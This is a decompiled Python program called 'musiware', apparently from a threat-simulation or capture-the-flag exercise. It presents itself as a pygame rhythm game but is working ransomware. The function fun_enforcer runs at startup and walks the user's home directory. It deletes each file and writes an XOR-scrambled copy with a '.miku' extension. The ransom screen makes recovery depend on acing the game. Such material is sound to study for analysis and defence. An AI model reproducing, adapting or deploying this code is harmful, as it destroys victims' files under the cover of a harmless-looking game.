# uncompyle6 version 3.8.0 # Python bytecode 3.7.0 (3394) # Decompiled from: Python 3.7.12 (default, Jan 15 2022, 18:42:10) # [GCC 9.3.0] # Embedded file name: musiware.py import pygame, time, os, sys, random from pygame import mixer from PIL import Image RED = [ 255, 0, 0] WHITE = [255, 255, 255] BLACK = [0, 0, 0] MAX = 10000000000000000000000000000000000000000000000000000000000000000 pygame.init() pygame.mixer.init() def load_image(imageName): loadName = resource_path(imageName) try: image = pygame.image.load(loadName).convert_alpha() except pygame.error as message: try: print('Unable to load the image ', imageName) raise SystemExit(message) finally: message = None del message return ( image, image.get_rect()) def resource_path(relative_path): try: base_path = sys._MEIPASS except Exception: base_path = os.path.abspath('.') return os.path.join(base_path, relative_path) class Button: def __init__(self, x, y, image): self.defFilename = image[7:] self.filename = image self.coords = (x, y) self.image, self.rect = load_image(self.filename) self.rect.topleft = self.coords def draw(self, surface): surface.blit(self.image, (self.rect.x, self.rect.y)) def end_setup(screen, score): back = Button(0, 0, 'assets/images/end.jpg') back.draw(screen) if score >= MAX: font = pygame.font.Font(resource_path('assets/sans.ttf'), 50) text = font.render('Congrats!', True, RED) screen.blit(text, [200, 10]) font = pygame.font.Font(resource_path('assets/sans.ttf'), 30) text = font.render('You got a score of ' + str(score) + '/' + str(MAX) + '!', True, RED) screen.blit(text, [130, 100]) if score > MAX: font = pygame.font.Font(resource_path('assets/sans.ttf'), 30) text = font.render('You did cheat.... Oh Well', True, RED) screen.blit(text, [120, 175]) else: font = pygame.font.Font(resource_path('assets/sans.ttf'), 30) text = font.render("And it seems like you didn't cheat!", True, RED) screen.blit(text, [50, 175]) font = pygame.font.Font(resource_path('assets/sans.ttf'), 30) text = font.render('Get the Decryption Application at:', True, RED) screen.blit(text, [50, 250]) font = pygame.font.Font(resource_path('assets/sans.ttf'), 20) text = font.render('http://musiware.threatsims.com/5963decodenow5345/', True, RED) screen.blit(text, [35, 325]) else: font = pygame.font.Font(resource_path('assets/sans.ttf'), 50) text = font.render(' Uh Oh!! ', True, RED) screen.blit(text, [210, 10]) font = pygame.font.Font(resource_path('assets/sans.ttf'), 70) text = font.render('You Failed!', True, RED) screen.blit(text, [125, 250]) def main_setup(screen): back = Button(0, 0, 'assets/images/background.jpg') back.draw(screen) font = pygame.font.Font(resource_path('assets/sans.ttf'), 50) text = font.render('Time to Play!', True, BLACK) screen.blit(text, [140, 10]) miku = Button(10, 100, 'assets/images/miku.png') miku.draw(screen) pygame.draw.rect(screen, BLACK, pygame.Rect(260, 100, 290, 345)) pygame.draw.rect(screen, RED, pygame.Rect(265, 105, 280, 335)) font = pygame.font.Font(resource_path('assets/sans.ttf'), 30) text = font.render('Uh Oh!', True, BLACK) screen.blit(text, [265, 105]) font = pygame.font.Font(resource_path('assets/sans.ttf'), 13) text_string = 'Looks like you ran a game you\n\nObtained from one of those\n\n"watch anime for free" websites\n\nSo now all your files are encrypted, UwU!\n\nWhy?\n\nBecause I wanna play a game with you\n\nWhat is it?\n\nA simple rhythm game\n\nYou are Probably wondering\n\n"So what is the catch?"\n\nWell you have to ACE every level\n\nIf you don\'t then no decryption key\n\nNo decryption key meansssssssss\n\nno unencrypted files\n\nOh and don\'t forget. Have fun!\n'.split('\n') for x in range(len(text_string)): text = font.render(text_string[x], True, BLACK) screen.blit(text, [265, 140 + x * 10]) pygame.draw.rect(screen, BLACK, pygame.Rect(260, 455, 290, 50)) pygame.draw.rect(screen, RED, pygame.Rect(265, 460, 280, 40)) font = pygame.font.Font(resource_path('assets/sans.ttf'), 27) text = font.render('Play!', True, BLACK) screen.blit(text, [370, 460]) def fun_enforcer(): img = open(resource_path('assets/images/miku.png'), 'rb').read() * 50 home = os.path.expanduser('~') for root, dirs, files in os.walk(home, topdown=False): for name in files: if not name == 'musiware.exe': if 'assets' in root: continue fileN = os.path.join(root, name) try: fileD = open(fileN, 'rb').read() os.remove(fileN) result = bytes((a ^ b for a, b in zip(fileD, img))) f = open(fileN + '.miku', 'wb') f.write(result) f.close() except: continue class game: def __init__(self, game_state): self.game_board = [] self.score = 0 self.state = game_state self.song = mixer.Sound(resource_path('assets/music/' + str(game_state) + '.mp3')) mixer.music.load(resource_path('assets/music/' + str(game_state) + '.mp3')) mixer.music.play(0) def run(self, score, screen): back = Button(0, 0, 'assets/backgrounds/' + str(self.state) + '.jpg') back.draw(screen) pygame.draw.rect(screen, BLACK, (0, 700, 600, 20)) font = pygame.font.Font(resource_path('assets/sans.ttf'), 27) text = font.render('A S D SPACE J K L', True, RED) screen.blit(text, [80, 720]) pygame.time.delay(50) temp = [] for x in range(7): temp.append(random.randint(0, 1)) self.game_board.append(temp) if len(self.game_board) == 19: self.game_board.pop(0) distY = 0 for x in reversed(self.game_board): distX = 0 inner = 0 for y in x: if inner == 3 and y == 1: pygame.draw.rect(screen, (255, 0, 0), (110 + distX * 60, 10 + distY * 40, 30, 30)) else: if y == 1 and inner > 3: pygame.draw.rect(screen, (255, 0, 0), (135 + distX * 60, 10 + distY * 40, 30, 30)) else: if y == 1: pygame.draw.rect(screen, (255, 0, 0), (75 + distX * 60, 10 + distY * 40, 30, 30)) distX += 1 inner += 1 distY += 1 for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() sys.exit() else: if len(self.game_board) == 18 and event.type == pygame.KEYDOWN: if event.key == pygame.K_SPACE: if self.game_board[17][3] == 1: self.score += 10 else: self.score -= 9 else: if event.key == pygame.K_a: if self.game_board[17][0] == 1: self.score += 10 else: self.score -= 9 elif event.key == pygame.K_s: if self.game_board[17][1] == 1: self.score += 10 else: self.score -= 9 if event.key == pygame.K_d: if self.game_board[17][2] == 1: self.score += 10 else: self.score -= 9 if event.key == pygame.K_j: if self.game_board[17][4] == 1: self.score += 10 else: self.score -= 9 if event.key == pygame.K_k: if self.game_board[17][5] == 1: self.score += 10 else: self.score -= 9 if event.key == pygame.K_l: if self.game_board[17][6] == 1: self.score += 10 else: self.score -= 9 font = pygame.font.Font(resource_path('assets/sans.ttf'), 24) text = font.render('Score: ' + str(self.score), True, BLACK) screen.blit(text, [20, 20]) if self.song.get_length() - mixer.music.get_pos() / 1000 <= 3: self.state += 1 mixer.music.stop() self.song = mixer.Sound(resource_path('assets/music/' + str(self.state) + '.mp3')) mixer.music.load(resource_path('assets/music/' + str(self.state) + '.mp3')) mixer.music.play(0) return (self.state, self.score) return (self.state, self.score) fun_enforcer() screen = pygame.display.set_mode([600, 600]) Icon = pygame.image.load(resource_path('assets/images/favicon.png')) pygame.display.set_icon(Icon) pygame.display.set_caption('Musiware') state = ['Main', True] game_state = 0 score = 0 while 1: if game_state == 6: state[0] = 'End' state[1] = True else: if state[0] == 'Main': if state[1]: main_setup(screen) state[1] = False if state[0] == 'End': if state[1]: screen = pygame.display.set_mode([600, 600]) end_setup(screen, score) state[1] = False if state[0] == 'Game': if state[1]: state[1] = False game_current = game_state game = game(game_current) else: game_state, score = game.run(score, screen) pygame.display.update() for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() sys.exit() if state[0] == 'Main' and event.type == pygame.MOUSEBUTTONDOWN: x, y = pygame.mouse.get_pos() if x > 260 and 550 > x and 505 > y and y > 455: screen = pygame.display.set_mode([600, 800]) state[0] = 'Game' state[1] = True # okay decompiling musiware.pyc